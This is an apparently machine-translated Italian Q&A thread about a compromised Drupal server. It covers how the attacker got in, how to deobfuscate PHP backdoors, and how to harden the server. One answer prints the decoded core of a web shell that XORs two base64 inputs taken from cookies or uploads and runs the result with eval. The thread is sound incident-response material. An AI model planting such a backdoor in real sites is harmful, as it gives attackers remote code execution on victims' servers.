server Drupal compromesso - Voglio indagare sulla tecnica di attacco / compromesso

Questi tipi di back-door sono polimorfici, ovvero sono progettati per sembrare diversi ogni volta - in pratica è una perdita di tempo cercare di decifrarli perché tutti fanno esattamente la stessa cosa.

Prendono input esterni e lo eseguono.

Potrebbe richiedere un input da un cookie o una variabile post e potrebbe provare a impostare alcune opzioni PHP per impedire la visualizzazione o la registrazione degli errori, ma l'obiettivo finale è sempre lo stesso. Prendono input esterni e lo eseguono.

What should I do now?

Dovresti procedere alla pulizia del server, correggere la vulnerabilità e andare avanti.

since there is nothing private or valuable on it

Se è così, ti incoraggio vivamente a terminare l'istanza e a crearne una nuova pulita.

I am more interested in learning from this case as much as I can

Dubito che ci sia qualcosa di significativo da imparare o che possa aiutarti a evitare che succeda la stessa cosa in futuro. Nella migliore delle ipotesi finirai per vedere qualche codice generico per inviare lo spam del Viagra, nel peggiore dei casi finirai per ospitare qualcosa come una pagina di phishing.

Se non puoi essere molto molto sicuro che il loro codice sia isolato, non darei loro inutilmente alcuna possibilità di eseguire codice sul tuo sistema. È probabile che almeno AWS imponga restrizioni al tuo account se rilevano lo spam proveniente da una delle tue istanze.

TLDR; Non ne vale la pena. Eseguirà il codice da remoto e lo useranno per inviare spam. Sostituisci l'istanza con una nuova al più presto.

Se vuoi veramente sapere che cosa fa questo specifico codice, allora il processo di deoffugating è sempre lo stesso.

1. Esegui il codice tramite un programma di formattazione del codice
2. Trova tutte le chiamate di funzioni, ad es. puoi vedere $amwve = $zgxovk($xeyb, $wbjo); è una chiamata di funzione.
3. Sostituisci la linea di chiamata della funzione con echo per ogni variabile seguita da un exit();
4. Ripeti questo processo mentre procedi attraverso il copione per capire cosa contengono ciascuna delle variabili ad ogni passaggio. La maggior parte delle variabili sarà superflua e solo lì per confonderti.
5. Alla fine troverai il bit che contiene il codice effettivo per prendere input ed eseguirlo.

Fai sempre questo in un ambiente isolato , consiglierei un interprete PHP online. Potrebbe essere necessario rimuovere alcune chiamate di funzione bloccate come ini_set .

Nel tuo caso, se riduci a $wbjo ed echo, otterrai questo:

$bzg = (!empty($_FILES["imi"])) ? file_get_contents($_FILES["imi"]["tmp_name"]) : $_COOKIE["imi"];
$qnlzja = (!empty($_FILES["vfsm"])) ? file_get_contents($_FILES["vfsm"]["tmp_name"]) : $_COOKIE["vfsm"];
$pjgtk = base64_decode($bzg) ^ base64_decode($qnlzja);
@eval($pjgtk);

Come potete vedere, prendete due file codificati in base 64, li ordinate a XOR e poi valutate il risultato. Lo XORing è proprio così che i firewall e i WAF hanno difficoltà a identificare che il file da caricare è dannoso.

TL; DR:

Si trattava di una vulnerabilità altamente critica del drupal 2014-Oct-15 che ho patchato troppo tardi e al momento ho perso la gravità del problema e non ho eseguito i controlli appropriati per valutare che il server non fosse stato compromesso. L'hack si è propagato dai file del tema copiati dal backup del server dismesso invece che appena scaricato dalla sezione temi del sito di Drupal. Sono giunto a questa conclusione esaminando database, server web e registri di sistema, confrontando i backup di database e drupal, leggendo i bollettini di sicurezza di nucleo ed estensioni di drupal e analizzando il RAT grazie ai suggerimenti forniti da texacre.

OK Mi vergogno molto ad ammetterlo, ma ora sembra chiaro cos'è successo.

Come di solito accade con queste cose, non era un exploit da 0 giorni ma un aggiornamento critico applicato troppo tardi:

Stavo eseguendo un altro server Drupal che stavo usando per testare i miei progetti in natura fino allo scorso dicembre.

Lo tenevo aggiornato con i controlli giornalieri ogni volta che effettuavo l'accesso, ma verso novembre ero troppo impegnato al lavoro e mi mancava un aggiornamento molto critico: link

Solo 7 ore dopo l'annuncio il team di Drupal stava avvisando gli utenti che esistevano già exploit di escalation di privilegi che permettevano di rilevare qualsiasi server non dotato di patch che eseguiva Drupal 7 o 8.

In qualche modo questo avvertimento non mi ha colpito, e 11 giorni dopo ho visto il messaggio tipico "c'è un aggiornamento disponibile" e aggiornato senza nemmeno leggere di cosa si trattasse l'aggiornamento. Dato che ero già hackerato, probabilmente non è una coincidenza che non mi sia stato mostrato alcun enorme segnale di avvertimento che mi dicesse quanto fosse importante questo aggiornamento (o forse il servizio di aggiornamento non fornisce un meccanismo abbastanza valido per dirti cosa fare quando stiamo aggiornando un sistema che potrebbe essere già stato compromesso ...)

In ogni caso, non ci pensavo più da quando, un paio di settimane più tardi, ho deciso di aggiornare il mio piano EC2, ho eseguito il backup di questa istanza e l'ho spento definitivamente per sostituirlo con uno nuovo.

Ora avanza velocemente fino a due mesi fa quando ho configurato questo nuovo server:

L'ho avviato fresco (nuovo drupal core e tutto), ma ho abbandonato i file del tema da quello vecchio, invece di preoccuparmi di scaricare nuovamente il tema. Il primo audit di routine che ho eseguito su questo server ha dato gli indizi per scoprire il codice RAT che mi ha portato a pubblicare questa domanda sul primo posto.

E questa è la storia su come ho impostato e gestito per due mesi un server Drupal hackerato per il piacere di alcuni spammer (dai log sembra che fosse lo scopo principale dell'attacco, anche se nessuna email di spam è stata inviata perché il Il criterio del gruppo di sicurezza di AWS che ho sempre impostato per le istanze che ho eseguito lo impediva).

Quindi, questo è un promemoria per chiunque dovrebbe trovare e iscriversi al bollettino di sicurezza dei loro CMS / framework / distribuzione o qualsiasi altra tecnologia che stanno utilizzando su un server, specialmente uno di accesso pubblico.

(Che io sia, comunque, anche se ci sono più di altri 30 feed RSS ho perso totalmente questo avviso fino a quando non era troppo tardi)

Quindi immagino che le lezioni per me qui siano:

• Non è sufficiente accedere e controllare gli aggiornamenti: il CMS deve essere configurato per inviarti una e-mail al tuo account principale quando ce n'è uno critico (ho impostato un account secondario per questo e non ho impostato un filtro per inoltrare automaticamente questi messaggi al mio account principale, che avrebbe richiesto 5 minuti in più e mi avrebbe salvato da tutti questi problemi)
• Per essere più organizzato con il mio feed RSS e expeditive sui miei aggiornamenti.
• Per controllare sempre le intrusioni dopo che sono state annunciate vulnerabilità critiche
• Supporre sempre che il sistema sia compromesso se gli exploit sono in natura prima di applicare le patch
• Fresh significa fresco: non rilasciare file di temi dal vecchio backup di istanza e chiamarlo fresco!

Avevo visto un attacco simile in precedenza su un server di un mio cliente.

L'autore dell'attacco ha riscontrato alcune vulnerabilità che consentono il caricamento di alcuni file. Altri hanno menzionato alcune potenziali vulnerabilità.

Dalla tua descrizione l'autore dell'attacco è riuscito a scrivere con l'utente del webserver nella tua directory root web. Questo non dovrebbe essere il caso quando il tuo server è configurato correttamente. Per proteggerti da ulteriori attacchi devi modificare la configurazione del server.

Dalla mia esperienza il server Apache è in grado di scrivere solo nella directory root web:

• Quando si impostano esplicitamente le autorizzazioni nella directory root su 0777 o
• quando si esegue il server Web con lo stesso utente durante la scrittura dei file PHP (ad esempio, il proprietario della directory Web è lo stesso utente dell'utente del server Web in esecuzione).

Per prevenire attacchi simili ti consiglio di utilizzare un utente separato per il server web e l'utente che carica i file Drupal. Generalmente si esegue il server Apache con l'utente www-data e si crea almeno un utente separato per il caricamento dei file. Raccomando anche di impostare le autorizzazioni nella directory web su 0755.

Alcune directory richiedono permessi di scrittura per caricare i file. Tuttavia in quelle directory dovresti aggiungere il file .htaccess che impedisce l'esecuzione di qualsiasi file caricato. In questo modo anche un utente malintenzionato può caricare un file che non è in grado di eseguirlo.

Il .htaccess potrebbe piacere così:

Order deny,allow
Deny from all
<Files ~ "\.(gif|jpg|png)$">
   order allow,deny
   allow from all
</Files>

Questo .htaccess consente di caricare solo gif, jpg e png sul browser per la directory corrente.